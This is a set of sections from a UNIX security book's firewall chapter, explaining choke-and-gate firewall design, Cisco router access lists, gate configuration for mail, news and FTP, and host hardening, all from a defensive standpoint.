Internal firewalls make a lot of sense in a large organization. After all, there is no reason to allow your research scientists any privileged access to a computer that is used for accounting, or to allow people who are sitting in front of data-entry terminals to try their hand at breaking into the research and development department's file servers. With an internal firewall, you can place extra security where needed.

The goal in setting up independent internal networks should be to minimize the damage that will take place if one of your internal networks is compromised, either by an intruder or, more likely, by an insider. By practicing stringent isolation, you can reduce the chances that an attacker will be able to use a foothold in one network as a beachhead for breaking into others.

A firewall designed for use within an organization is very similar to one that is used to protect an organization against external threats. However, because the same management team and structure may be responsible for many networks within an organization, there is a great temptation to share information or services via an internal firewall, when such information services should in fact be blocked.

Follow these basic guidelines when setting up independent internal networks:

  • If you use NIS, make sure that each local area network has its own server. Make sure that each server and its clients have their own netgroup domain.

  • Don't let any server or workstation on one network trust hosts on any other network or any gateway machine. (For an explanation of trusted hosts, see "Trusted hosts and users" in Chapter 17, TCP/IP Services.)

  • Make certain that users who have accounts on more than one local network have different passwords for each subnet. If possible, use a one-time password scheme or token-based system.

  • Enable the highest level of logging for the gateways, and the most restrictive security possible. If possible, do not allow user accounts on the gateway machines.

  • Do not NFS-mount filesystems from one LAN onto another LAN. If you absolutely must share a partition, be sure that it is exported read-only.

Internal firewall machines have many benefits:

  • They help isolate physical failure of the network to a smaller number of machines.

  • They limit the number of machines putting information on any physical segment of the network, thus limiting the damage that can be done by eavesdropping.

  • They limit the number of machines that will be affected by flooding attacks.

  • They create barriers for attackers, both external and internal, who are trying to attack specific machines at a particular installation.

Remember: Although most people spend considerable time and money protecting against attacks from outsiders, dishonest and disgruntled employees are in a position to do much more damage to your organization. Properly configured internal firewalls help limit the amount of damage that an insider can do.

In the following text, we'll refer to internal networks and external networks when describing a firewall, with the understanding that both networks may in fact be internal to your organization.

Previous: V. Advanced Topics | Practical UNIX & Internet Security | Next: 21.2 Building Your Own Firewall
V. Advanced Topics | Book Index | 21.2 Building Your Own Firewall


[Chapter 21] 21.2 Building Your Own Firewall

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 21.1 What's a Firewall? Chapter 21
Firewalls 		Next: 21.3 Example: Cisco Systems Routers as Chokes

21.2 Building Your Own Firewall

For years, firewalls were strictly a do-it-yourself affair. A big innovation was the introduction of several firewall toolkits - ready-made proxies and client programs designed to build a simple, straightforward firewall system. Lately, a number of companies have started offering complete firewall "solutions."

Today there are four basic types of firewalls in use:

Packet firewalls

These firewalls are typically built from routers that are programmed to pass some types of packets and to block others.

Traditional proxy-based firewalls

These firewalls require that users follow special procedures or use special network clients that are aware of the proxies.

Packet-rewriting firewalls

These firewalls rewrite the contents of the IP packets as they pass between the internal network and the Internet. From the outside, all communications appear to be mediated through a proxy on the firewall. From the inside network, the firewall is transparent.

Screens

These firewalls bisect a single Ethernet with a pair of Ethernet interfaces. The screen doesn't have an IP address. Instead, each Ethernet interface listens to all packets that are transmitted on its segment and forwards the appropriate packets, based on a complex set of rules, to the other interfaces. Because the screen does not have an IP address, it is highly resistant to attack over the network. For optimal security, the screen should be programmed through a serial interface or removable media (e.g., floppy disk), although you can design a screen that would be addressed through its Ethernet interface directly (speaking a network protocol other than IP). Some manufacturers of screens provide several network interfaces, so that you can set up a WWW server or a news server on a separate screened subnet using the same screen.

In this section, we will discuss the construction of a firewall built from a choke and a gate that uses proxies to move information between the internal network and the external network. We describe how to build this kind of firewall because the tools are readily available, and because this type seems to provide adequate security for many applications.

For additional useful and practical information on constructing your own firewall, we recommend that you read Building Internet Firewalls by D. Brent Chapman and Elizabeth D. Zwicky (O'Reilly & Associates, 1995).

21.2.1 Planning Your Configuration

Before you start purchasing equipment or downloading software from the Internet for your firewall, you might first want to answer some basic questions:

  • What am I trying to protect? If you are simply trying to protect two or three computers, you might find that using host-based security is easier and more effective than going to the expense and difficulty of building a full-fledged firewall.

  • Do I want to build my own firewall, or buy a ready-made solution? Although you could build a very effective firewall, the task is very difficult and one in which a single mistake can lead to disaster.

  • Should I buy a monitored firewall service? If your organization lacks the expertise to build its own firewall, or it does not wish to commit the resources to monitor a firewall 24 hours a day, 7 days a week, you may find that paying for a monitored firewall service is an economical alternative. Several ISPS now offer such services as a value-added option to their standard Internet offerings.

  • How much money do I want to spend? You can spend a great deal of money on your own systems, or on a commercial product. Often (but not always) the extra expense may result in a more capable firewall.

  • Is simple packet filtering enough? If so, you can probably set up your "firewall" simply by adding a few rules to your existing router's configuration files.

  • If simple packet filtering is not enough, do I want a gate and one choke, or two?

  • Will I allow inbound Telnet connections? If so, how will I authenticate them? How will I prevent passwords from being sniffed?

  • How will I get my users to adhere to the organization's firewall policy?

21.2.2 Assembling the Parts

After you have decided on your configuration, you must then assemble the parts. This assembly includes:

Choke

Most organizations use a router. You can use an existing router or purchase a special router for the purpose.

Gate

Usually, the gate is a spare computer running the UNIX operating system. Gates do not need to be top-of-the-line workstations, because the speed at which they function is limited by the speed of your Internet connection, not the speed of your computer's CPU. In many cases, a high-end PC can provide sufficient capacity for your gate.

Software

You'll want to get a variety of software to run on the gate. Start with a firewall toolkit, such as the one from Trusted Information Systems. You should also have a consistency-checking package, such as Tripwire, to help you detect intrusion. Finally, consider using a package such as Tiger to help find security weaknesses in the firewall's UNIX configuration.

21.2.3 Setting Up the Choke

The choke is the bridge between the inside network and the outside network. It should not forward packets between the two networks unless the packets have the gate computer as either their destination or their origination address. You can optionally further restrict the choke so that it forwards only packets for particular protocols - for example, packets used for mail transfer but not for telnet or rlogin.

There are three main choices for your choke:

  1. Use an "intelligent router." Many of these routers can be set up to forward only certain kinds of packets and only between certain addresses.

  2. You can use a standard UNIX computer with two network interfaces. If you do so, do not run the program /usr/etc/routed (the network routing daemon) on this computer. Set up the program so that it does not forward packets from one network interface to the other (usually by setting the kernel ip forwarding variable to 0).[7] A computer set up in this fashion is both the choke and the gate.

    [7] On Linux, IP forwarding is a compile-time option.

  3. You can alter your operating system's network driver so that it only accepts packets from the internal network and the choke. If you are running Linux, you can use the operating system's kernel-based IP filtering, accessible through the ipfw command, to prevent the system from receiving packets from non-approved networks or hosts. In the not too distant future, other vendors may offer similar features.

The details of how you set up your choke will vary greatly, depending on the hardware you use and that hardware's software. Therefore, the following sections are only general guidelines.

21.2.4 Choosing the Choke's Protocols

The choke is an intelligent filter: it is usually set up so that only the gate machine can talk to the outside world. All messages from the outside (whether they're mail, FTP, or attempts to break in) that are directed to internal machines other than the gate are rejected. Attempts by local machines to contact sites outside the LAN are similarly denied.

The gate determines destinations, then handles requests or forwards them as appropriate. For instance, SMTP (mail) requests can be sent to the gate, which resolves local aliases and then sends the mail to the appropriate internal machine.

Furthermore, you can set up your choke so that only specific kinds of messages are sent through. You should configure the choke to reject messages using unknown protocols. You can also configure the choke to specifically reject known protocols that are too dangerous for people in the outside world to use on your internal computers.

The choke software should carefully examine the option bits that might be set in the header of each IP packet. Option bits, such as those for IP forwarding, fragmentation, and route recording, may be valid on some packets. However, they are sometimes set by attackers in an attempt to probe the state of your firewall or to get packets past a simple choke. Other options, such as source routing, are never acceptable; packets that specify them should be blocked.

You also want to configure the choke to examine the return addresses (source addresses) on packets. Packets from outside your network should not state source addresses from inside your network, nor should they be broadcast or multicast addresses. Otherwise, an attacker might be able to craft packets that look normal to your choke and clients; in such cases, the responses to these packets are what actually do the damage.

The choke can also be configured to prevent local users from connecting to outside machines through unrestricted channels. This type of configuration prevents Trojan-horse programs from installing network back doors on your local machines. Imagine a public domain data-analysis program that surreptitiously listens on port 49372 for connections and then forks off a /bin/csh. The configuration also discourages someone who does manage to penetrate one of your local machines from sending information back to the outside world.

Ideally, there should be no way to change your choke's configuration from the network. An attacker trying to tap into your network will be stuck if your choke is a PC-based router that can be reprogrammed only from its keyboard.

NOTE: The way you configure your choke will depend on the particular router that you are using for a choke; consult your router's documentation for detail.

Previous: 21.1 What's a Firewall? | Practical UNIX & Internet Security | Next: 21.3 Example: Cisco Systems Routers as Chokes
21.1 What's a Firewall? | Book Index | 21.3 Example: Cisco Systems Routers as Chokes


[Chapter 21] 21.3 Example: Cisco Systems Routers as Chokes

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 21.2 Building Your Own Firewall Chapter 21
Firewalls 		Next: 21.4 Setting Up the Gate

21.3 Example: Cisco Systems Routers as Chokes

Many organizations use high-performance routers both to connect their companies to the Internet and to perform limited packet filtering. Because routers made by Cisco Systems, Inc., are widely used within the Internet community as this book is being written, we decided that a look at the security configuration for a Cisco router might be helpful.

NOTE: Bear in mind that this description is not a definitive reference for configuring Cisco routers, but is intended to demonstrate highlights of how a router is configured as a choke. Further examples of Cisco configurations may be obtained via FTP from ftp://ftp.cisco.com/pub/acl-examples.

Please also note that we do not intend that our inclusion of vendor-specific information for Cisco routers be taken as an endorsement of their routers over any other vendor's products.

Cisco Systems routers run a complicated operating system called Internetwork Operating System (IOS), which is specially tailored to perform high-speed routing. It is a real-time operating system that is not based on UNIX.

IOS maintains a set of internal configuration tables that are associated with the router, each protocol that the router understands, each network interface, and each physical "line" interface. These configuration tables are consulted by the IOS operating system each time a packet is received for routing.

The IOS internal tables are configured from the console when the router is in configuration mode. The current configuration can be extracted from the router using the write command; this command produces a text file of commands that can be stored in the router's nonvolatile memory or saved using a network TFTP server. The router then interprets these commands when it boots as if they were typed on the router's console.

21.3.1 access-list Command: Creating an Access List

IOS uses the access-list command to define the set of IP addresses and protocols with which a particular router will communicate. The access-list command creates an access list; each access list has a unique number. IOS sets aside specific ranges of access-list numbers for specific purposes.

21.3.1.1 access-list: standard form

The standard form of the access-list command for the IP protocol has the form:

access-list access-list-number {deny|permit} source [source-mask]

Where:

access-list-number

Denotes the number of the access list you are defining. For the standard form of the access-list command, the access-list-number must be a decimal integer from 1 though 99.

deny | permit

Specifies whether IP packets matching this access list should be denied (not transmitted) or permitted (transmitted).

source

Specifies the IP address of the host or network from which this packet is being sent. Source must be in the standard form ii.jj.kk.ll.

source-mask

An optional mask that is applied to the source. As with the source, the source-mask is specified in four-part dotted-decimal notation. A 1 in a position indicates that it should be masked (ignored). Thus, 0.0.0.255 means that only the first three octets of the source address will be considered.

If you specify an access-list, IOS will add an implicit rule to deny all packets that do not match the rules that you have provided.

For example, this command would permit all packets from the host 204.17.195.100:

access-list 1 permit 204.17.195.100

This command would deny all packets from the IP subclass C network 198.3.4:

access-list 1 deny 198.3.4.0 0.0.0.255

21.3.1.2 access-list: extended form

The access-list command has an extended form which allows you to make distinctions based on the particular IP protocol and service.[8] In the case of the TCP/IP protocol, you can even create restrictions based on the connection's direction - whether it is outgoing or incoming.

[8] In addition to IP, Cisco routers support many other protocols as well, including AppleTalk and IPX, but we won't discuss them here.

The extended version of the access-list command has syntax that is similar to the standard form; the key difference is that the access-list-number must be in the range 100 to 199, and there are additional parameters:

access-list access-list-number {deny|permit} protocol\
        source source-mask destination destination-mask [established]

Where:

access-list-number

Denotes the number of the access list that you are defining. For the extended form of the access-list command, the access-list-number must be a decimal integer from 100 though 199.

deny | permit

Specifies whether IP packets matching this access list should be denied (not transmitted) or permitted (transmitted).

protocol

Specifies the protocol name or number. Specify ip, tcp, udp, icmp, igmp, gre, igrp, or the IP protocol number (range 0 through 255). Use ip to specify all IP protocols, including TCP, UDP, and ICMP.

source

Specifies the IP address of the host or network from which this packet is being sent; must be in the standard form ii.jj.kk.ll.

source-mask

An optional mask that is applied to the source. As with the source, the source-mask is specified in four-part dotted-decimal notation. A 1 in a position indicates that it should be masked. Thus, 0.0.0.255 means that only the first three octets of the source addresses should be considered.

destination

Specifies the address of the host or network to which this packet is being sent; must be in the standard form ii.jj.kk.ll.

destination-mask

An optional mask that is applied to the destination. As with the source-mask, the destination-mask is specified in four-part dotted-decimal notation, where a 1 in a position indicates that it should be masked.

operator

This optional argument allows you to specify a particular TCP or UDP port, or even a range of ports. Allowable values are described in Table 21.1.

operand

A number, in decimal, used to refer to a specific TCP or UDP port.

Table 21.1: Cisco Operator/Operand Combinations
Operator | Meaning | Example | Result
eq | equal to | eq 23 | Selects Telnet port.
gt | greater than | gt 1023 | Selects all non-privileged ports.
lt | less than | lt 1024 | Selects all privileged ports.
neq | not equal to | neq 25 | Selects all protocols other than SMTP.
established

If present, indicates packets for an established connection. This is only applicable to the TCP protocol, and selects for packets that have the ACK or RST bits set. By blocking packets that do not have either the ACK or RST bits set that are traveling into your organization's network, you can block incoming connections while still allowing outgoing connections.

log

If present, causes violations of access lists to be logged via syslog to the specified logging host.

21.3.2 show access-lists Command: Seeing the Current Access Lists

You can use the CIOS show access-lists command to display all of the current access lists. For example:

router>show access-lists
Standard IP access list 1
    permit 204.17.195.0
    permit 199.232.92.0
Extended IP access list 108
    deny   ip 199.232.92.0 0.0.0.255 any
    deny   ip 204.17.195.0 0.0.0.255 any
    permit ip any any (1128372 matches)
router>

In this example, there are two IP access lists: access list #1, which is a standard list, and access list #108, which is an extended list. The standard list permits the transmission of any packet that comes from the IP networks 204.17.195 or 199.232.92; the extended list denies any packet coming from these two networks.

The pair of rules in this example can be used to erect a barrier to IP spoofing for an organization that is connected to the Internet. The organization, with two internal IP networks (204.17.195 and 199.232.92), could apply the first access list to its outbound interface, and the extended list to inbound packets from its serial interface. As a result, any incoming packets that claim to be from the organization's internal network would be rejected.

Be aware that the show access-lists command is normally not a privileged command; anybody who can log into your router can see all of your access lists. You can make it privileged by using the IOS privilege commands added in IOS Version 10.3.

21.3.3 access-class Command: Protecting Virtual Terminals

After you have created one or more access lists, you can use the access-class command to assign the access-control list to a particular Cisco virtual-terminal line. You assign access lists to a particular Cisco interface by using the access-class command. You should use the access-class command to configure your router so that it will reject login attempts from any host outside your organization. You may also wish to configure your router so that it rejects all login attempts from inside your organization as well, with the exception of a specially designed administrative machine.

The access-class command has the following syntax:

access-class access-list-number {in|out}

Where:

access-list-number

Specifies the number of an access list. This must be a number between 1 and 199.

in | out

Specifies whether incoming connections or outgoing connections should be blocked.

You can use this command to prevent people from logging directly onto your router (using one of the vty interfaces) unless they are coming from a specially designated network. For example, to configure your router so that it will only accept logins from the subclass C network 198.3.3, you could use the following sequence of IOS commands:

router#config t
Enter configuration commands, one per line.  End with CNTL/Z.
router(config)#access-list 12 permit 198.3.3.0 0.0.0.255
router(config)#line vty 0 4
router(config-line)#access-class 12 in
router(config-line)#^Z
router#

21.3.4 ip access-group Command: Protecting IP Interfaces

You can also use access lists to specify packets that should be blocked from crossing an IP interface. For example, if you are using the Cisco interface to create a conventional choke-and-gate interface, and you have a serial connection to an Internet service provider, you can specify that the only IP packets that should be transmitted in from the interface should be those that are destined for the gate machine, and that the only IP packets that should be transmitted out from the serial interface are those that are from your gate.

The command that associates an access list with a particular interface is the access-group command. This is an interface-configuration command, which means that it is typed when the router is in interface-configuration mode.

The access-group command has the following syntax:

ip access-group access-list-number {in | out}

Where:

access-list-number

Specifies the number of an access list. This must be a number between 1 and 199.

in | out

Specifies whether incoming connections or outgoing connections should be blocked.

For example, to configure your serial 0 interface so that it will only send packets to or from a gate computer located at IP address 204.17.100.200, you might configure your router as explained in the following paragraphs.

First, create one access list that selects for packets that have the gate as their source (access list #10) and a second access list that selects for packets that have the gate as their destination (access list #110):

router#config t
Enter configuration commands, one per line.  End with CNTL/Z.
router(config)#access-list 10 permit 204.17.100.200 0.0.0.0
router(config)#access-list 110 permit ip 0.0.0.0 255.255.255.255
                    204.17.100.200 0.0.0.0

Now, assign these access lists to the serial 0 interface:

router(config)#int serial 1
router(config-if)#ip access-group 10 out
router(config-if)#ip access-group 110 in

Remember, use the IOS write command to save the configuration.

21.3.5 accounting access-violations Command: Using IP Accounting

IOS has an IP accounting feature that can track the number of IP packets that are passed by the router and then rejected. You can use this feature to detect whether somebody is trying to bypass your firewall security. If logging is enabled, you will be told the IP address of the attacker and the protocol being used.

To turn on IP accounting to check for access violations on a specific interface use the command:

router(config-if)#ip accounting access-violations

Access Control vs. Performance

IOS consults the entire access control list every time a packet is received for routing. As a result, the more complicated your access lists, the slower you will find your router's resulting performance.

You can maximize your router's performance, and improve overall security, by making your access lists as simple as possible. You can also improve performance by using route filtering. If you have a complex list of hosts to which you do or do not wish to offer particular services, you can supplement your access lists by using a program on your gate such as tcpwrapper, in addition to implementing them on your choke. This will give you extra protection.

Previous: 21.2 Building Your Own Firewall | Practical UNIX & Internet Security | Next: 21.4 Setting Up the Gate
21.2 Building Your Own Firewall | Book Index | 21.4 Setting Up the Gate


[Chapter 21] 21.4 Setting Up the Gate

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 21.3 Example: Cisco Systems Routers as Chokes Chapter 21
Firewalls 		Next: 21.5 Special Considerations

21.4 Setting Up the Gate

The gate machine is the other half of the firewall. The choke forces all communication between the inside network and the outside network to take place through the gate; the gate enforces security, authenticating users, sanitizing data (if necessary), and passing it along.

The gate should have a very stripped-down version of some operating system. It should have no compiler, for example, to prevent attackers from compiling programs on it. It should have no regular user accounts, to limit the places where an attacker can enter.

You concentrate a great deal of your security effort on setting up and maintaining the gate. Usually, the gate will act as your mail server, your Usenet server (if you support news), and your anonymous FTP repository (if you maintain one).[9] It should not be your file server. We'll discuss how you configure each of these services, and then how to protect the gate.

[9] We advise against putting your anonymous FTP depository on your firewall. However, if your resources are really so limited that you can't obtain another machine, and if you absolutely must have FTP enabled, this is the way to do it.

For these examples, we use a hypothetical domain called company.com. We've named the gate machine keeper.company.com and an internal user machine office.company.com.

21.4.1 Name Service

Either the choke or the gate must provide Internet Domain Name Service (DNS) to the outside network for the company.com domain. Usually, you will do this by running the Berkeley name server (BIND) on one of these machines.[10]

[10] There are many nuances to configuring your DNS service in a firewall situation. We recommend you see DNS and BIND by Albitz and Liu, and Building Internet Firewalls by Chapman and Zwicky, both published by O'Reilly & Associates.

Occasionally, the names of computers on your internal network will be sent outside; your name server should be set up so that when people on the outside try to send mail back to the internal computers, the mail is sent to the gate instead. The simplest way to set up this configuration is with a name server MX record. A MX record causes electronic mail destined for one machine to actually be sent to another.

Configure your name server on the gate so that there is a MX record with a wildcard DNS record that specifies all of the hosts within your domain.

For example, this rule specifies that any mail for inside the company.com domain is to go to keeper:

*.company.com. IN MX 20 KEEPER.COMPANY.COM

In this manner, people on the outside network will be able to reply to any electronic mail that "escapes" with an internal name. (Be advised that a specific A record will outweigh a wildcard MX record. Thus, if you have an A record for an internal machine, you will also need to have an MX record for that machine so that the computer's email is properly sent to your mail server.)

21.4.2 Electronic Mail

Configure the gate so all outgoing mail appears to come from the gate machine; that is:

  • All mail messages sent from the inside network must have the To:, From:, Cc:, Sender:, Reply-To: and Errors-To: fields of their headers rewritten so an address in the form user@office.company.com is translated to the form user@company.com.

  • Because all mail from the outside is sent through the gate, the gate must have a full set of mail aliases to allow mail to be redirected to the appropriate internal site and user.

  • Mail on the internal machines, like office, must have their mailers configured so that all mail not destined for an internal machine (i.e., anything not to a company.com machine) is sent to the gate, where the message's headers will be rewritten and then forwarded through the choke to the external network.

  • All UUCP mail must be run from the gate machine. All outgoing UUCP messages must have their return paths rewritten from company!office!user to company!user.

There are many advantages to configuring your mail system with a central "post office":

  • Only one machine needs to have a complex mailer configuration.

  • Only one machine needs to handle automatic UUCP path routing.

  • Only one machine needs to have a complete set of user aliases visible to the outside.

  • If a user changes the name of his or her computer, that change needs to be made only on the gate machine. Nobody in the outside world, including electronic correspondents, needs to update his or her information; the change can easily be installed by the administrator at the gate machine.

  • You can more easily use complete aliases on your user accounts: all mail off- site can have firstname_lastname in its mail header.

  • If a user leaves the organization and needs to have his or her mail forwarded, mail forwarding can be done on the gate machine. This eliminates the need to leave old accounts in place simply to allow a .forward file to point to the person's new address.

21.4.3 Netnews

Configure news so the gate machine is the main news machine in the organization:

  • All outgoing articles must have the Path: and From: lines set to show only the gate machine. This setup is not difficult to do if the news is present only on the gate machine - standard news software provides defines in the configuration file to build the headers this way.

  • Internally, news can be read with NNTP and rrn, trn, nn, xrn, etc.

  • Alternatively, the news spool can be directory (usually /usr/spool/news) exported read-only by the gate machine to the internal machines. Posting internally would still be via NNTP and inews.

Again, there are advantages to this configuration beyond the security considerations. One benefit is that news is maintained on a central machine, thus simplifying maintenance and storage considerations. Furthermore, you can regulate local-only groups because the gate machine can be set to prevent local groups from being sent outside. The administrator can also regulate which internal machines are allowed to read and post news.

21.4.4 FTP

If you wish to support anonymous FTP from the outside network, make sure the ~ftp/pub directory resides on the gate machine. (See Chapter 17, for information about how to set up anonymous FTP.) Internal users can access the ~ftp/pub directory via a read-only NFS partition. By leaving files in this directory, internal users can make their files available to users on the outside. Users from the outside use FTP to connect to the gate computer to read and write files. Alternatively, you may wish to make these directories available only to selected internal machines to help control which users are allowed to export files.[11]

[11] Note that running NFS on the gate just for FTP access is dangerous and we do not recommend it.

The best way to give internal users the ability to use FTP to transfer files from remote sites is to use proxies or wrappers. This approach is more secure and easier to configure. Proxies are readily available; consider using the TIS Firewall Toolkit (see Appendix E, Electronic Resources for ways to obtain it), or SOCKS (described in Chapter 22). You will need to have an FTP client program that understands proxies. Fortunately, the FTP clients in many World Wide Web browsers already do so. They are also considerably easier to use than the standard UNIX FTP client.

21.4.4.1 Creating an ftpout account to allow FTP without proxies.

Another way that you can pass FTP through a firewall without using proxies is to create a special account on the gate machine named ftpout. Internal users connect via Telnet or rlogin to the gate and log in as ftpout. Only logins from internal machines should be allowed to this account.

The ftpout account is not a regular account. Instead, it is a special account constructed for the purpose of using the ftp program. If you want added security, you can even set this account shell to be the /usr/ucb/ftp program.[12] When local users wish to transfer files from the outside, they will rlogin to the ftpout account on the gate, use ftp to transfer the files to the gate, log out of the gate computer, and then use a read-only NFS partition to read the files from the gate. The ftpout account should have a UID that is different from every other user on the system - including the ftp user.

[12] Because the account has /usr/ucb/ftp as its shell, the FTP program's shell escape (!) will not work properly. This prevents the ftpout account from being used for other purposes.

The ftpout strategy is less secure than using proxies. It allows users to view files that are brought in by FTP by other users. It also requires the cooperation of your users to manage the disk space on the gate machine. Nevertheless, it is a serviceable strategy if you cannot implement FTP proxies.

There are a number of different ways in which you can protect the ftpout account from unauthorized use. One simple approach follows:

  1. Create the ftpout account on the gate with an asterisk (*) for a password (doing so prevents logins).

  2. Make the ftpout account's home directory owned by root, mode 755.

  3. Create a file ~ftp/.rhosts, owned by root, that contains a list of the local users who are allowed to use the ftpout service.

Legitimate users can now use the ftpout by issuing the rlogin command:

% rlogin gate -l ftpout

The ftpout account must log (via syslog, console prints, or similar means), all uses. It must then run the ftp program to allow the user to connect out to remote machines and transfer files locally to the gate.

Using the ftpout account is a cumbersome, two-step process. To transfer files from the outside network to the inside network, your users must follow these steps:

  1. Log into the ftpout account on the gate.

  2. Use the ftp command to transfer files from the outside computer to the gate.

  3. Log out of the ftpout account.

  4. Connect to the gate computer using the ftp command from the user's own machine.

  5. Transfer the files from the gate to the user's personal workstation.

  6. Delete the files on the gate.

Transferring files from internal machines to machines on the other side of the firewall requires a similar roundabout process.

The advantage of the ftpout system is that it allows users to import or export files, but it never makes a continuous FTP connection between internal and external machines. The configuration also has the advantage that it lets you keep a central repository of documents transferred via FTP, possibly with disk quotas. This configuration saves on storage. (Be advised, though, that all users of the ftpout account will share the same quota. You may wish to install a cron job that automatically deletes all files in the ftpout directory that have not been accessed in more than some interval, such as 90 minutes.

You can create additional accounts, similar to ftpout, for users who wish to finger people on the outside. You can use a scheme exactly like the one described above for FTP to let local users use Telnet with remote sites. Do not use the same user ID and group for the telnetout account that you used for the ftp command.

Alternatively, you can create your own dedicated servers or proxies on the gate for passing finger, Telnet, and other services.

21.4.5 finger

Many sites using gates disable the finger service, because finger often provides too much information to outsiders about your internal filesystem structure and account-naming conventions. Unfortunately, the finger command also provides very useful information, and disabling its operation at a large site may result in considerable frustration for legitimate outside users.

As an alternative, you can modify the finger service to provide a limited server that will respond with a user's mailbox name, and optionally other information such as phone number and whether or not the user is currently logged in. The output should not provide the home directory or the true account name to the outside. The output also should not provide the last login time of the account; intruders may be able to use this information to look for idle accounts.

21.4.6 Telnet and rlogin from Remote Sites into Your Network

The biggest difficulty with firewall machines arises when a user is offsite and wishes to log in to his or her account via the network. After all, remote logins are exactly what the gate is designed to prevent! If such logins are infrequent, you can create a temporary account on the gate with a random name and random password that cannot be changed by the user. The account does not have a shell, but instead executes a shell script that does an rlogin to the user's real account. The user must not be allowed to change the password on this gate account, and must be forbidden from installing the account name in his or her local .rhosts file. For added security, be sure to delete the account after a fixed period of time - preferably a matter of days.[13]

[13] Actually, consider not allowing rlogin in the first place and just using Telnet. And beware of password sniffers, who don't care if your name and password are random.

If there are many remote users, or users who will be doing remote logins on a continuing basis, the above method will work but is unlikely to be acceptable to most users. In such a case, we recommend using the setup described above, with two changes: let users pick a gate account name that is more mnemonic, and force them to use some type of higher-security access device, such as a smart card ID, to access the gate. If passwords must be used on the gate accounts, be sure to age them frequently (once every two to four weeks), and let the machine generate the passwords to prevent users from setting the same passwords as those for their internal accounts.

Previous: 21.3 Example: Cisco Systems Routers as Chokes | Practical UNIX & Internet Security | Next: 21.5 Special Considerations
21.3 Example: Cisco Systems Routers as Chokes | Book Index | 21.5 Special Considerations


[Chapter 21] 21.5 Special Considerations

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 21.4 Setting Up the Gate Chapter 21
Firewalls 		Next: 21.6 Final Comments

21.5 Special Considerations

To make the firewall setup effective, the gate should be a pain to use: really, all you want this computer to do is forward specific kinds of information across the choke. The gate should be as impervious as possible to security threats, applying the techniques we've described elsewhere in this book, plus more extreme measures that you would not apply to a general machine. The list below summarizes techniques you may want to implement on the gate machine:

  • Enable auditing if your operating system supports it.

  • Do not allow regular user accounts, but only accounts for people requiring incoming connections, system accounts for needed services, and the root account.

  • Do not allow incoming connections to your X11 servers (ports 6000 through 6000+n, where n is the number of X11 displays on any given computer).

  • Do not mount directories using NFS (or any other network filesystem). Export only directories that contain data files (ftp/pub, news, etc), never programs. Export read-only.

  • Remove the binaries of all commands not necessary for gate operation, including tools like cc, awk, sed, ld, emacs, Perl, etc. Remove all libraries (except the shared portion of shared libraries) from /usr/lib and /lib. Program development for the gate should be done on another machine and copied to the gate machine; with program development tools and unnecessary commands removed, a cracker can't easily install Trojan horses or other nasty code. Remove /bin/csh, /bin/ksh, and all other shells except /bin/sh (which your system needs for startup). Change the permission on /bin/sh to be 500, so that it can only be run by the superuser.

    If you really don't want to remove these programs, chmod them from 755 to 500. The root user will still be able to use these programs, but no one else will. This approach is not as secure as removing the programs, but it is more effective than leaving the tools in place.

  • chmod all system directories (e.g., /, /bin, /usr, /usr/bin, /etc, /usr/spool) to mode 711. Users of the system other than the superuser do not need to list directory contents to see what is and is not present. This change will really slow down someone who manages to establish a non-root shell on the machine through some other mechanism. Don't run NIS on the gate machine. Do not import or export NIS files, especially the alias and passwd files.

  • Turn on full logging on the gate machine. Read the logs regularly. Set the syslog.conf file so that the gate logs to an internal machine as well as a hardcopy device, if possible.

  • Mount as many disks as possible read-only. This prevents a cracker from modifying the files on those disks. Some directories, notably /usr/spool/uucp, /usr/adm, and ~ftp/pub, will need to be writable. You can place all of these directories on a single partition and use symbolic links so that they appear in the appropriate place.

  • Turn on process and file quotas, if available.

  • Use some form of smart card or key-based access for the root user. If you don't use such devices, don't allow anyone to log in as root on the machine.

  • Make the gate computer "equivalent" to no other machine. Remove the files /etc/hosts.equiv and /etc/hosts.lpd.

  • Enable process accounting on the gate machine.

  • Disable all unneeded network services.

Finally, look back at the guidelines listed under Chapter 17 they are also useful when setting up a gate. When you configure your gate machine, remember that every service and program that can be run presents a threat to the security of your entire protected network. Even if the programs appear safe today, bugs or security flaws may be found in them in the future. The purpose of the gate is to restrict access to your network, not to serve as a computing platform. Therefore, remove everything that's not essential to the network services.

Be sure to monitor your gate on a regular basis: if you simply set the gate up and forget about it, you may let weeks or more go by before discovering a break-in. If your network is connected to the Internet 24 hours a day, 7 days a week, it should be monitored at least daily.

Even if you follow all of these rules and closely monitor your gate, a group of very persistent and clever crackers might still break through to your machines. If they do, the cause will not likely be accidental. They will have to work hard at it, and you will most likely find evidence of the break-in soon after it occurs. The steps we've outlined will probably discourage the random or curious cracker, as well as many more serious intruders, and this is really your goal.

Previous: 21.4 Setting Up the Gate | Practical UNIX & Internet Security | Next: 21.6 Final Comments
21.4 Setting Up the Gate | Book Index | 21.6 Final Comments


[Chapter 21] 21.6 Final Comments

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 21.5 Special Considerations Chapter 21
Firewalls 		Next: 22. Wrappers and Proxies

21.6 Final Comments

We feel ambivalent about firewalls. While they are an interesting technology, they are not a cure-all for network security problems. They also are being used to connect many networks to the Internet that should not necessarily be connected. So before you run out and invest your time and money in a firewall solution, consider these points:

21.6.1 Firewalls Can Be Dangerous

We started the chapter by pointing out that a firewall is not a panacea. We will conclude the chapter by making the point again: firewalls can be a big help in ensuring the security of your network; however, a misconfigured firewall, or a firewall with poor per-host controls, may actually be worse than no firewall at all. With no firewall in place, you will at least be more concerned about host security and monitoring. Unfortunately, at many sites, management may be lulled into believing that their systems are secure after they have paid for the installation of a significant firewall - especially if they are only exposed to the advertising hype of the vendor and consultants.

21.6.2 Firewalls Sometimes Fail

The truth of the matter is that a firewall is only one component of good security. And it is a component that is only effective against external threats. Insider attacks are seldom affected in any way by a firewall. Collusion of an insider and an outsider can circumvent a firewall in short order. And bugs, misconfiguration problems, or equipment failure may all result in a temporary failure of the firewall you have in place. One single user, anywhere "inside" your network, can also unwittingly compromise the entire firewall scheme by connecting a modem to a desktop workstation ... and you will not likely know about the compromise until you are required to clean up the resulting break in.

